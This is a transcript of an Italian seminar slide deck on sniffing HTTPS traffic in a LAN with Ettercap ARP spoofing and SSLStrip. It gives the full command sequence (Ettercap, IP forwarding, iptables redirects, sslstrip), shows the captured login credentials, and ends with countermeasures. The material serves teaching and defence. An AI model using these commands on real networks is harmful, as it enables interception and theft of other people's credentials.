Sniffing del traffico HTTPS con Ettercap e SSL Strip

16
Sniffing del traffico HTTPS con Ettercap e SSL Strip Mattia Reggiani http://filibusta.crema.unimi.it/ Mercoledì 21 Maggio 1/16 21/05/2014

description

Presentazione per il seminario sulla sicurezza dei social network e SSL del LUG Filubusta di Crema.

Transcript of Sniffing del traffico HTTPS con Ettercap e SSL Strip

Page 1: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Sniffing del traffico HTTPS con Ettercap e SSL Strip

Mattia Reggiani

http://filibusta.crema.unimi.it/Mercoledì 21 Maggio

1/1621/05/2014

Page 2: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Di cosa parlerò

Cenni teorici: Man In The Middle, ARP Spoofing

Un caso reale: sniffing di credenziali utilizzando SSL Strip ed Ettercap all’interno di una LAN, con i siti HTTPS

2/1621/05/2014

Page 3: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Man In The Middle

Alice TrudyBob

• Alice e Bob devono comunicare

• Trudy finge di essere Alice (con Bob) e Bob (con Alice)

• Alice invia il messaggio a Trudy, pensando che sia Bob

• Trudy inoltra il messaggio a Bob

• Bob risponde a Trudy, pensando che sia Alice

• Trudy è in grado di leggere e manipolare i messaggi

3/1621/05/2014

Page 4: Sniffing del traffico HTTPS con Ettercap e SSL Strip

ARP Spoofing (1)

• Per comunicare in una rete locale, serve l’indirizzo MAC dell’host

• ARP (Address Resolution Protocol): numero MAC da un numero IP

• Ogni host mantiene una cache ARP, che contiene una tabella con le associazioni

IP – MAC già note

• Altrimenti si fa una richiesta in broadcast (a tutti i nodi), chiedendo chi ha un

certo indirizzo IP

4/1621/05/2014

Page 5: Sniffing del traffico HTTPS con Ettercap e SSL Strip

ARP Spoofing (2)

• ARP cache poisoning:

1. Chi ha l’indirizzo ip 192.168.178.25 ?

2. Sono io: 00:50:FC:A0:67:2C

3. Le comunicazioni dirette a 192.168.178.25 vanno a chi riceve i frame

destinati a 00:50:FC:A0:67:2C

5/1621/05/2014

Page 6: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Caso reale: strumenti• Ettercap (ARP Spoofing)

• Open source, scritto in C da sviluppatori italiani, multipiattaforma

• Command-line / GUI

• MITM: ARP poisoning, ICMP redirect, DHCP spoofing …

• Plug-in: dns_spoof, dos_attack, find_ettercap, smurf_attack …

• SSLStrip (Sniffing)

• MITM tool scritto in Python

• Sostituisce le richieste HTTPS in HTTP

Client SSL Strip Server

6/1621/05/2014

Page 7: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Caso reale: infrastruttura di rete

AttaccanteOS: Kali LinuxIP: 192.168.178.28/24

VittimaOS: Windows VistaIP: 192.168.178.25/24

Gateway / Router192.168.178.1/24 Web Server

https://twitter.com

Internet

7/1621/05/2014

Page 8: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Step by step1. MITM con Ettercap

2. Abilitare l’ ip forward

3. Settare le regole iptables (firewall)

4. Sniffing con SSL Strip

5. Ottenere Username e Password

8/1621/05/2014

Page 9: Sniffing del traffico HTTPS con Ettercap e SSL Strip

1. MITM con Ettercap

root@kali:~# ettercap -T -q -i eth0 -M arp:remote /192.168.178.25/ /192.168.178.1/

-T versione testuale

-q non mostrare il contenuto dei pacchetti

-i interfaccia di rete in uso

-M tipo di attacco MITM

/192.168.178.25/ indirizzo IP della vittima

/192.168.178.1/ indirizzo IP del gateway

9/1621/05/2014

Page 10: Sniffing del traffico HTTPS con Ettercap e SSL Strip

2. Abilitare l’ ip forward

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Configurare il computer in modalità forwarding, in modo da inoltrare il traffico di

rete da un’interfaccia ad un’ altra

10/1621/05/2014

Page 11: Sniffing del traffico HTTPS con Ettercap e SSL Strip

3. Settare le regole iptables(firewall)

root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000

-t tabella a da utilizzare-A catena di regole-p protocollo--dport porta destinazione della connessione-j destinazione per la regola--to-port porta destinazione del reindirizzamento

Impostare il firewall in maniera di reindirizzare i pacchetti HTTP verso SSLStrip(1) ed evitare che il client generi traffico HTTPS (2)

root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 10000

(1)

(2)

11/1621/05/2014

Page 12: Sniffing del traffico HTTPS con Ettercap e SSL Strip

4. Sniffing con SSL Strip

-l porta da cui sniffare il traffico HTTP/HTTPS

root@kali:~# sslstrip -l 10000

Normale (SSL)

Stripped (no SSL)

12/1621/05/2014

Page 13: Sniffing del traffico HTTPS con Ettercap e SSL Strip

5. Ottenere Username e Password

root@kali:~# cat sslstrip.log

Username: mattia_reggianiPassword: MyPaSsWoRd

13/1621/05/2014

Page 14: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Contromisure

• HTTPS only (server)

• Assicurarsi di utilizzare in modo sicuro le connessioni (SSL)

• Fare attenzione all’ URL degli indirizzi web

• Tabella ARP statica

14/1621/05/2014

Page 15: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Riferimenti

• Ettercap:

• https://github.com/Ettercap/ettercap

• http://ettercap.sourceforge.net

• SSL Strip: http://www.thoughtcrime.org/software/sslstrip/

• Kali Linux: http://www.kali.org/

• Iptables: http://www.netfilter.org/

15/1621/05/2014

Page 16: Sniffing del traffico HTTPS con Ettercap e SSL Strip

Q&A

E-mail [email protected] @mattia_reggianiLinkedin http://www.linkedin.com/in/mattiareggianiSkype mattia_reggianiFacebook https://www.facebook.com/mreggiani90

16/1621/05/2014